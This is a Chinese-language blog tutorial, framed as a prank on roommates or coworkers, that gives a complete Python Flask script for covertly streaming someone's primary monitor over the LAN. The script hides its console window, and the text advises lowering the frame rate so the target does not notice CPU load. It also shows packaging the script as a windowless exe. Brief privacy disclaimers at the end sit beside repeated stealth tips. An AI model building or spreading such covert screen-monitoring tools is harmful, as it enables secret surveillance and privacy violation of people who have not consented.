恶搞舍友/工友之看看你在干什么!
继之前那个"恶搞脚本之借用你的摄像头"后,又突发奇想:既然能看到对方的脸,那能不能看到对方的显示器呢?于是有了这个升级版——不仅能看,还能在多显示器环境下精准选择主显示器进行监控!
同样是无感"偷窥",这次是桌面级的全方位监控。
Python脚本实现
from flask import Flask, Response
import cv2
import numpy as np
import mss
import sys
import time
# 安装依赖:pip install opencv-python flask mss numpy -i https://mirrors.aliyun.com/pypi/simple/
def hide_console():
if sys.platform == 'win32':
import ctypes
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
app = Flask(__name__)
# ========== 可配置参数 ==========
OUTPUT_SIZE = None # 缩放分辨率,例如 (1280, 720) 或 None
FPS_LIMIT = 20 # 帧率限制(建议降低以减少CPU占用,避免被察觉)
JPEG_QUALITY = 85 # JPEG 质量
COLOR_MODE = 'BGR' # 颜色模式: 'BGR' (默认), 'RGB2BGR', 'BGRA2BGR'
# ===============================
def generate_frames():
"""
每个客户端连接时独立创建 mss 实例,避免多线程冲突
"""
with mss.mss() as sct:
# 选择主显示器(索引1),如果不存在则回退到全虚拟屏幕(索引0)
if len(sct.monitors) > 1:
monitor = sct.monitors[1] # 主显示器
else:
monitor = sct.monitors[0] # 所有屏幕的虚拟组合
last_time = time.time()
while True:
try:
# 捕获屏幕
img = sct.grab(monitor)
# 转为 numpy 数组 (原始格式通常是 RGB 或 BGRA)
frame = np.array(img)
# 根据配置进行颜色转换
if COLOR_MODE == 'RGB2BGR':
frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
elif COLOR_MODE == 'BGRA2BGR':
frame = cv2.cvtColor(frame, cv2.COLOR_BGRA2BGR)
# 如果 COLOR_MODE == 'BGR',则不做任何转换(直接使用原始数据)
# 可选缩放
if OUTPUT_SIZE:
frame = cv2.resize(frame, OUTPUT_SIZE, interpolation=cv2.INTER_LINEAR)
# 编码为 JPEG
encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), JPEG_QUALITY]
ret, buffer = cv2.imencode('.jpg', frame, encode_param)
if not ret:
continue
yield (b'--frame\r\n'
b'Content-Type: image/jpeg\r\n\r\n' + buffer.tobytes() + b'\r\n')
# 帧率控制
if FPS_LIMIT > 0:
elapsed = time.time() - last_time
sleep_time = 1.0 / FPS_LIMIT - elapsed
if sleep_time > 0:
time.sleep(sleep_time)
last_time = time.time()
except Exception as e:
print(f"屏幕捕获异常: {e}")
# 生成一个错误提示帧,避免客户端断开
error_img = np.zeros((480, 640, 3), dtype=np.uint8)
cv2.putText(error_img, "Screen capture error", (50, 240),
cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)
ret, buffer = cv2.imencode('.jpg', error_img)
frame_bytes = buffer.tobytes() if ret else b''
yield (b'--frame\r\n'
b'Content-Type: image/jpeg\r\n\r\n' + frame_bytes + b'\r\n')
time.sleep(1) # 避免错误时疯狂重试
@app.route('/')
def video_feed():
return Response(generate_frames(),
mimetype='multipart/x-mixed-replace; boundary=frame')
if __name__ == '__main__':
hide_console() # 若调试时可注释掉
# debug=False 避免弹窗,threaded=True 支持多线程(现在每个线程独立 mss,不会冲突)
app.run(host='0.0.0.0', port=8032, debug=False, threaded=True)
运行步骤
- 以管理员身份运行:Windows上捕获屏幕可能需要管理员权限
- 右键点击命令提示符或PowerShell → "以管理员身份运行"
- 进入脚本目录并执行:
cd /d E:\文章页\共享屏幕 python gongxiangpiingmu.py - 访问地址:
- 本机:
http://127.0.0.1:8032/ - 局域网其他设备:
http://192.168.1.36:8032/(IP以实际显示的为准)
- 本机:
- 测试:打开浏览器访问上述地址,应能实时看到主屏幕内容
核心特性
- 自动选择主显示器:在多显示器环境下,自动选择主显示器(monitors[1])进行捕获,若不存在则回退到虚拟全屏(monitors[0])
- 性能优化:支持帧率限制(FPS_LIMIT)和分辨率缩放(OUTPUT_SIZE),平衡画质与CPU占用。建议将FPS_LIMIT设置为较低值(如10-20),避免高CPU占用引起注意
- 多线程安全:每个客户端连接独立创建mss实例,彻底解决'_thread._local' object has no attribute 'srcdc'错误
- 灵活的颜色模式:支持BGR、RGB2BGR、BGRA2BGR三种颜色模式切换,可根据实际显示效果调整
- 异常处理:即使单次捕获失败也能继续运行并返回错误提示帧,避免生成器意外终止
常见问题与解决方案
1. 报错 '_thread._local' object has no attribute 'srcdc'
原因:mss库在多线程环境下的已知问题,Flask的threaded=True会为每个请求开启新线程。
解决:将mss实例的创建移到generate_frames函数内部(上面代码已修正),确保每个线程拥有独立的屏幕捕获上下文。
2. 屏幕捕获失败
可能原因:Windows上可能需要管理员权限,或者多显示器索引错误。
解决方案:
- 以管理员身份运行脚本
- 尝试修改显示器索引:
monitor = sct.monitors[0](索引0代表所有屏幕的虚拟组合) - 运行以下代码查看所有显示器信息:
import mss with mss.mss() as sct: for i, mon in enumerate(sct.monitors): print(i, mon)
3. 颜色显示异常(红蓝颠倒等)
原因:mss在不同系统/环境下返回的原始数据格式可能不同(可能是RGB、BGR或BGRA)。
解决方案:修改代码顶部的 COLOR_MODE 参数:
- 如果红蓝互换(例如红色的文件夹显示为蓝色)→ 设置
COLOR_MODE = 'RGB2BGR'(最常见的修正) - 如果画面整体偏紫或过暗 → 尝试
COLOR_MODE = 'BGRA2BGR'(去除alpha通道) - 如果颜色本来就很正常 → 保持
COLOR_MODE = 'BGR'(不做转换)
4. OpenCV编码参数错误
部分OpenCV版本中参数格式可能有问题,使用列表形式而非字典:[int(cv2.IMWRITE_JPEG_QUALITY), 85]
如果问题仍然存在
- 尝试单线程模式:在
app.run()中添加threaded=False,强制单线程模式(牺牲多客户端并发性能,但可确认是否彻底解决冲突)。若单线程下正常,说明确实是多线程问题,上面的解决方案应该已经修复。 - 更新库版本:确保mss是最新版:
pip install --upgrade mss - 检查屏幕捕获权限:某些Windows版本(尤其是远程桌面环境)可能禁止屏幕捕获。可以尝试用其他库(如pyautogui)测试,但性能较差,不推荐。
其他用途
这不仅仅是恶搞工具,还可以作为:
- 远程技术支持:如果有服务器的话,无需安装额外软件,通过浏览器即可实时查看用户屏幕
- 教学演示:在局域网内分享操作过程,适合培训场景
- 家庭监控:配合服务器改造,实现远程桌面监控
- 工作审计:记录员工电脑使用情况(需合法授权)
没有Python环境怎么办?
同样可以打包成exe文件!
示例命令:
# 安装pyinstaller
pip install pyinstaller
# 打包成单个exe文件(无控制台窗口)
pyinstaller --onefile --noconsole --name screen_monitor your_script.py
打包后会生成一个独立的 .exe 文件,可以直接在Windows上运行,无需安装Python环境。
注意事项
- ⚠️ 本文仅供技术学习和娱乐,请勿用于非法用途
- ⚠️ 未经他人同意监控他人显示器可能涉及严重的隐私侵权问题
- ⚠️ 建议在授权范围内使用,请尊重他人隐私权
- ⚠️ 屏幕共享会消耗一定的CPU资源,为了不被察觉,建议将FPS_LIMIT改低一些(如10-20),高了CPU占用会很突出
- ⚠️ 首次运行可能需要防火墙允许Python访问网络(指定端口)